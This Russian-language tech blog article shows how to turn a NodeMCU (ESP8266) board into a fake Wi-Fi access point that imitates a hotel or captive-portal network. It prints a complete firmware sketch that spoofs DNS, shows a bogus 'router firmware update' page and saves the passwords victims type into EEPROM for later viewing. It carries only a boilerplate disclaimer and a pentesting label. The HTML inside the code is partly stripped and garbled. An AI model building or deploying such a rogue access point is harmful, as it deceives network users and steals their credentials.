Атакуем WiFi или NodeMCU на службе сил зла

918fbdc51246f01e941c6f50cb687182.jpg

О макетной плате NodeMCU можно найти немало статей на просторах Хабра. Авторы предлагают управлять шторами, включать освещение и выполнять другие операции с ее помощью для создания умного дома. Однако это небольшое устройство можно использовать и при тестировании на проникновение.

NodeMCU — это платформа на основе модуля ESP8266. Отличием этой платы от других Arduino подобных решений является наличие встроенного модуля WiFi. С помощью этого модуля мы можем управлять различными схемами на расстоянии посредством передачи сигнала  через Wi-Fi. Для NodeMCU написано множество различных библиотек и помимо прочего на ней можно реализовать точку доступа. Да, для создания полноценной точки доступа к плате необходимо подключать Ethernet модуль, но как вы увидите далее, для тех задач, которые мы будем реализовывать, нам отправлять трафик дальше совсем не обязательно.

Давайте для начала поговорим о том, какие атаки мы можем реализовать с помощью NodeMCU.

Дежурный дисклеймер

Вся информация, приведенная в статье, носит исключительно ознакомительный характер. Автор снимает с себя всякую ответственность за использование данных материалов в незаконных целях.

Fake AP и другие

О взломе Wi-FI на просторах Интернета написана не одна сотня статей. Широко известен пакет AirCrack-ng из состава Kali Linux. Также не менее известна хакерская антенна Alfa и аналогичные решения, позволяющие работать в режиме мониторинга. Основная идея здесь проста: слушаем беспроводную сеть, находим жертву, вынуждаем ее принудительно отключиться от точки доступа и перехватываем аутентификационные пакеты. Далее нам необходимо определенное везение, так как мы будем пытаться расшифровать ключ. Если ключ достаточно сложный, его взлом может занять значительное время. Это история про закрытые сети, шифруемые с помощью WPA.

Здесь плата NodeMCU тоже может помочь для реализации атаки деаутентификации. С ее помощью можно заставить жертву разорвать соединение.

Но мы подробнее рассмотрим другой вид защиты беспроводных сетей, который часто можно встретить в гостиницах. Здесь беспроводная сеть может быть открыта или иметь ключ шифрования, который известен постояльцам и посетителям. Но, после подключения к сети мы попадаем на дефолтную страницу, где нас просят ввести пароль для доступа в интернет. Без ввода корректного пароля нас дальше никуда не пустят.

Конечно, можно атаковать такую защиту с помощью перебора паролей, Burp Suite, Hydra, Medusa и аналогичных инструментов. Но, во-первых эти пароли для доступа как правило генерируются автоматически и имеют высокий уровень сложности для подбора и во-вторых, после нескольких неудачных попыток ввода пароля точка доступа нас скорее всего заблокирует. Поэтому перебор не лучший способ.

Вместо этого мы можем пойти от обратного, сами поднять поддельную точку доступа с аналогичными настройками и дождаться, когда пользователь к ней подключится и введет свои учетные данные для входа в сеть.

Все, что нам для этого потребуется это копия настоящего веб ресурса для ввода пароля и знание HTML. Мы развернем поддельную точку доступа с таким же именем и параметрами подключения. Если пользователь окажется в зоне действия нашей Fake Access Point, то его устройство автоматически подключится к ней. Затем у него при попытке обратиться к любому ресурсу будет появляться форма для ввода пароля. Очевидно, что раз у него сохранена данная сеть, значит он к ней уже подключался и знает пароль. Далее он вводит в форме пароль, который мы сохраняем на нашем устройстве.

Сохраняем добычу

Для сохранения собранных паролей (возможно их будет несколько) можно конечно подключить модуль с SD-картой, но вряд ли у нас будет такое большое количество данных. Проще использовать энергонезависимую память EEPROM. Эта память сохраняет данные после отключения питания. В плате NodeMCU объем EEPROM равен 4 Кб. Для сохранения паролей такого объема вполне достаточно.

Разворачиваем рабочую среду

Пойдем по классической схеме с использованием Arduino IDE. Для начала необходимо скачать и установить эту среду разработки (https://support.arduino.cc/hc/en-us/articles/360019833020-Download-and-install-Arduino-IDE).

В результате успешной установки получаем следующее рабочее окно:

7733b464c334dd3bfa904813538cd092.png

Далее нам еще необходимо установить драйвер для макетной платы и плагины для среды Arduino IDE. Его можно скачать например вот отсюда https://iarduino.ru/file/230.html. Несмотря на то, что в описании не указана Windows 10, по факту эта ОС тоже поддерживается.

Далее нам необходимо подружить Arduino IDE с нашими макетными платами. Для этого необходимо подгрузить файлы JSON. В среде Arduino IDE идем в вкладку File → Preferences и в поле Additional boards manager URLs указываем путь

http://arduino.esp8266.com/stable/package_esp8266com_index.json

21253e0008cdd5c5844088c440235e8a.png

Устанавливаем пакет для ESP8266. Среда выполнения готова к работе.

Собираем скетч

За основу прошивки взято решение https://github.com/nv-thang/Fake-Wifi-AP/. Рассмотрим его основной функционал. После подключения к точке доступа, пользователь получает адрес из подсети 172.0.0.0/24. У нас есть основная форма доступная по адресу 172.0.0.1. В ней сообщается, что требуется обновление и предлагается ввести пароль незадачливому пользователю. После чего ему выводится на экран сообщение об обновлении устройства.

7ef0d3ba4e95af9e4225a860aa56cf48.png

Далее мы можем посмотреть список уже собранных паролей, обратившись по адресу http://172.0.0.1/pass. Также можно очистить EEPROM удалив все сохраненные пароли. Для этого нажимаем внизу ссылку Clear passwords.  

1e31e7e7e07dd1584693f44b85e9600e.png

Еще можно сменить название беспроводной сети. Для этого необходимо перейти по ссылке http://172.0.0.1/ssid. Правда для полноценной подмены скорее всего необходимо изменить и внешний вид самой веб формы аутентификации, а сделать это без перепрошивки устройства не получится.

Далее приведен полный код скетча с комментариями.

#include 

#include  

#include 

#include 

const char* SSID_NAME = "Free WiFi"; // SSID по умолчанию

#define SUBTITLE "Router info."

#define TITLE "Update"// заголовки окон

#define BODY "Your router firmware is out of date. Update your firmware to continue browsing normally." // текст в окне

#define POST_TITLE "Updating..."

#define POST_BODY "Your router is being updated. Please, wait until the proccess finishes.
Thank you." #define PASS_TITLE "Passwords" #define CLEAR_TITLE "Cleared" const byte HTTP_CODE = 200; const byte DNS_PORT = 53; const byte TICK_TIMER = 1000; IPAddress APIP(172, 0, 0, 1); //адрес точки доступа String allPass = ""; String newSSID = ""; String currentSSID = ""; int initialCheckLocation = 20; int passStart = 30;             int passEnd = passStart;       unsigned long bootTime=0, lastActivity=0, lastTick=0, tickCtr=0; DNSServer dnsServer; ESP8266WebServer webServer(80); String input(String argName) {   String a = webServer.arg(argName);   a.replace("<","<");a.replace(">",">");   a.substring(0,200); return a; } String footer() {   return "
"; } String header(String t) {   String a = String(currentSSID);   String CSS = "article { background: #f2f2f2; padding: 1.3em; }"     "body { color: #333; font-family: Century Gothic, sans-serif; font-size: 18px; line-height: 24px; margin: 0; padding: 0; }"     "div { padding: 0.5em; }"     "h1 { margin: 0.5em 0 0 0; padding: 0.5em; }"     "input { width: 100%; padding: 9px 10px; margin: 8px 0; box-sizing: border-box; border-radius: 0; border: 1px solid #555555; border-radius: 10px; }"     "label { color: #333; display: block; font-style: italic; font-weight: bold; }"     "nav { background: #0066ff; color: #fff; display: block; font-size: 1.3em; padding: 1em; }"     "nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } "     "textarea { width: 100%; }";   String h = ""     "" + a + " :: " + t + ""     ""     ""     ""     "

" + t + "

";   return h; } String index() {   return header(TITLE) + "
" + BODY + "
"+     "
" + footer(); } //форма для ввода пароля String posted() { // функция сохранения паролей   String pass = input("m");   pass = "
  • " + pass + "
  • ";   allPass += pass;                         for (int i = 0; i <= pass.length(); ++i)   {     EEPROM.write(passEnd + i, pass[i]);   }     passEnd += pass.length();   EEPROM.write(passEnd, '\0');   EEPROM.commit();   return header(POST_TITLE) + POST_BODY + footer(); } String pass() {   return header(PASS_TITLE) + "
      " + allPass + "

    Back to Index

    Clear passwords

    " + footer(); } String ssid() { // смена SSID   return header("Change SSID") + "

    Here you can change the SSID name. After pressing the button \"Change SSID\" you will lose the connection, so reconnect to the new SSID.

    " + "
    "+     "
    " + footer(); } String postedSSID() { //   String postedSSID = input("s"); newSSID="
  • " + postedSSID + "
  • ";   for (int i = 0; i < postedSSID.length(); ++i) {     EEPROM.write(i, postedSSID[i]);   }   EEPROM.write(postedSSID.length(), '\0');   EEPROM.commit();   WiFi.softAP(postedSSID); return  postedSSID; } String clear() { //очистка EEPROM   allPass = "";   passEnd = passStart;   EEPROM.write(passEnd, '\0');   EEPROM.commit();   return header(CLEAR_TITLE) + "

    The password list has been reseted.

    Back to Index
    " + footer(); } void setup() {   Serial.begin(115200);   bootTime = lastActivity = millis();   EEPROM.begin(512);   delay(10);   String checkValue = "first";   for (int i = 0; i < checkValue.length(); ++i)   {     if (char(EEPROM.read(i + initialCheckLocation)) != checkValue[i])     {       for (int i = 0; i < checkValue.length(); ++i)       {         EEPROM.write(i + initialCheckLocation, checkValue[i]);       }       EEPROM.write(0, '\0');               EEPROM.write(passStart, '\0');       EEPROM.commit();       break;     }   }   String ESSID;   int i = 0;   while (EEPROM.read(i) != '\0') {     ESSID += char(EEPROM.read(i));     i++;   }   while (EEPROM.read(passEnd) != '\0')   {     allPass += char(EEPROM.read(passEnd));     passEnd++;                               }   WiFi.mode(WIFI_AP);   WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0));   currentSSID = ESSID.length() > 1 ? ESSID.c_str() : SSID_NAME;   Serial.print("Current SSID: ");   Serial.print(currentSSID);   WiFi.softAP(currentSSID);     dnsServer.start(DNS_PORT, "*", APIP); // DNS spoofing (Only for HTTP)   webServer.on("/post",[]() { webServer.send(HTTP_CODE, "text/html", posted()); });   webServer.on("/ssid",[]() { webServer.send(HTTP_CODE, "text/html", ssid()); });   webServer.on("/postSSID",[]() { webServer.send(HTTP_CODE, "text/html", postedSSID()); });   webServer.on("/pass",[]() { webServer.send(HTTP_CODE, "text/html", pass()); });   webServer.on("/clear",[]() { webServer.send(HTTP_CODE, "text/html", clear()); });   webServer.onNotFound([]() { lastActivity=millis(); webServer.send(HTTP_CODE, "text/html", index()); });   webServer.begin();   pinMode(BUILTIN_LED, OUTPUT);   digitalWrite(BUILTIN_LED, HIGH); } void loop() {   if ((millis() - lastTick) > TICK_TIMER) {lastTick = millis();} dnsServer.processNextRequest(); webServer.handleClient(); }

    Заключение

    С помощью такого простого и недорого устройства можно провести пентест беспроводной сети, использующей веб форму для аутентификации. Возможной проблемой при использовании устройства может стать недостаточная мощность сигнала платы NodeMCU. Но в целом концепция вполне жизнеспособная. 

    О других инструментах для обеспечения безопасности можно узнать у экспертов в области ИБ, например на онлайн-курсах. Перед стартом обучения проходят открытые уроки от преподавателей курсов, на которых можно узнать об актуальных технологиях и задать интересующие вопросы экспертам.

    © Habrahabr.ru